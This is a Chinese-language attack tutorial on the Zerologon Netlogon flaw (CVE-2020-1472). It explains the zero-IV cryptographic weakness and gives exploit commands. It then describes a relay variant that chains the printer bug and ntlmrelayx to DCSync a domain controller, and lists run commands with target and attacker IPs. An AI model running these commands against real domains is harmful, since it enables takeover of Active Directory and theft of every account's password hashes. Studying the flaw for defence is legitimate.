zerologon以及另一种利用方式

cve-2020-1472：Netlogon远程提权漏洞。

netlogon是微软提供的另一种认证方式，不同于kerberos或ntlm。

1. 客户端发送一个质询随机数
2. 服务器（dc）也发送一个质询随机数
3. 将两个随机数拼接，使用KDF算法加密生成session_key。（secret对应用户hash）
4. 用户发送使用AES-CFB8加密的用户随机数（session_key作为密钥）
5. 服务端发送使用AES-CFB8加密的服务端随机数（session_key作为密钥）
6. 验证

由于微软错误的将IV值置为全零，而client_challenge可控，当攻击者将client_challenge置为全零，可有1/256的概率使发送的密文全零。成功碰撞。

成功认证后通过nrpc将域控机器hash置空。

exp：https://github.com/dirkjanm/CVE-2020-1472

python3 cve-2020-1472.py dc01$ 192.168.204.136

注：需要利用 https://github.com/SecureAuthCorp/impacket/edit/master/impacket/dcerpc/v5/nrpc.py 文件替换本机上的nrpc文件。本机nrpc文件存储路径为：

C:\Users\Administrator\AppData\Local\Programs\Python\Python38\Lib\site-packages\impacket\dcerpc\v5\nrpc.py

---

Zerologon 的另一种利用方式

zerologon确实是2020年甚至是近年来微软爆出的最具有震撼性的漏洞，它的利用条件仅仅是可以和域控直接连通（当然域控要开放服务且未修补这个漏洞），但是这个漏洞的利用将会导致域控制器机器账户的密码被更改，其实是非常冒险的，而且一旦域控重启将导致整个域环境的崩溃，这很不符合APT的宗旨！虽然可以通过sam文件恢复原口令，但是操作起来又过于繁琐，并且有失败风险，所以本文将会讨论一种新的利用方式

netlogon

在域环境中主流的两种认证方式为kerberos和ntlm，kerberos基于三方认证，而ntlm则是集中式的认证方式，众所周知，ntlm采用质询响应式认证，由用户的nthash加密质询内容作为响应，而服务本身并不拥有用户的hash，所以会将用户的响应转发至域控制器，而转发用到的协议正是netlogon协议。

签名与中继

又是众所周知，ntlm有一个著名的利用方式叫做ntlm中继，因为大部分的认证基于smb协议，所以微软引入了smb签名机制来抵御中继攻击，现在大多数的smb认证都是强制签名的，我们可以先来了解一下签名机制的细节，签名以及加密的密钥是基于用户的nthash以及一些协商细节制作的，因此这只能在域控上进行：

而通过 cve-2015-0005 ，允许任意机器用户请求会话密钥，以此将身份验证中继到需要签名的地方。如果结合zerologon漏洞，我们就可以在未拥有域凭证的情况下，获得合法的签名。换而言之，任何可以进行ntlm身份验证的服务或者功能，都将变为潜在的攻击点。

DCSYNC

当我们可以进行中继的时候，我们会中继到什么服务上呢，那当然是最高权限角色域控制器所拥有的DRSUAPI，域控可以通过DRSUAPI同步域内的ntds数据库。原本的 cve-2020-1472 就是利用重置域控口令，来获得dcsync的权限，而当我们可以进行中继攻击的时候，我们就可以直接将身份认证中继到DRSUAPI协议，而zerologon帮助我们解决了签名的问题。

攻击流程和条件

• 我们利用 “打印机错误漏洞” 获取域控的身份认证
• 通过zerologon绕过身份认证生成会话密钥
• 中继身份认证到DRSUAPI进行Dcsync

利用条件：

• 后台打印程序服务应在DC上运行
• DC应该容易受到Zerologon的攻击
• DC应该能够连接到攻击者工作站，并且不会被防火墙阻止
• 您应该能够运行Python并绑定到端口445以进行传入的SMB连接（在Windows上这很棘手）
• 域中至少应有2个DC，因为无法中继回同一DC

实际利用

该攻击的代码已经整合到 impacket 工具包

# 执行smb中继
ntlmrelayx.py -t DCSYNC://dc.test.local -smb2support 

# 触发打印机漏洞
printerbug.py test/user:pass@dc2.test.local 192.168.11.22(攻击者ip)